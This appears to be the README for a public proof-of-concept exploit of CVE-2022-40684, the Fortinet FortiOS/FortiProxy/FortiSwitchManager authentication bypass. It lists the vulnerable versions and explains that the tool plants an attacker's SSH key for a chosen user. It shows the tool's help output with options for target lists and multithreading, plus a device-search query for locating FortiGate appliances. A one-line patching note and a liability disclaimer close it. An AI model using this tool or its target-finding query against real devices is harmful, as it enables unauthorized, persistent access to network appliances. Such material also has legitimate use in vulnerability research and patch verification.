POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances.
- FortiOS versions between 7.0.0 – 7.0.6 and 7.2.0 – 7.2.1
- FortiProxy versions between 7.0.0 – 7.0.6 and version 7.2.0
- FortiSwitchManager versions 7.0.0 and 7.2.0
This POC abuses the authentication bypass vulnerability to set an SSH key for the specified user.
root@kali:~# python exploit.py -h
______ __ _ __ ____ ____________
/ ____/___ _____/ /_(_)___ ___ / /_ / __ \/ ____/ ____/
/ /_ / __ \/ ___/ __/ / __ \/ _ \/ __/ / /_/ / / / __/
/ __/ / /_/ / / / /_/ / / / / __/ /_ / _, _/ /___/ /___
/_/ \____/_/ \__/_/_/ /_/\___/\__/ /_/ |_|\____/_____/
CVE-2022-40684 Exploit By Valentin Lobstein (Chocapikk)
usage: exploit.py [-h] [-k KEY] [-u URL] [-l LIST] [-U USERNAME] [-t THREADS] [-o OUTPUT]
options:
-h, --help show this help message and exit
-k KEY, --key KEY Your SSH pubKey id_rsa.pub
-u URL, --url URL Base target uri (ex. http://target-uri/)
-l LIST, --list LIST List of targets (list.txt)
-U USERNAME, --username USERNAME
Username
-t THREADS, --threads THREADS
Threads
-o OUTPUT, --output OUTPUT
Output file
title:"FortiGate"
Update to the latest version or mitigate by following the instructions within the Fortinet PSIRT
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.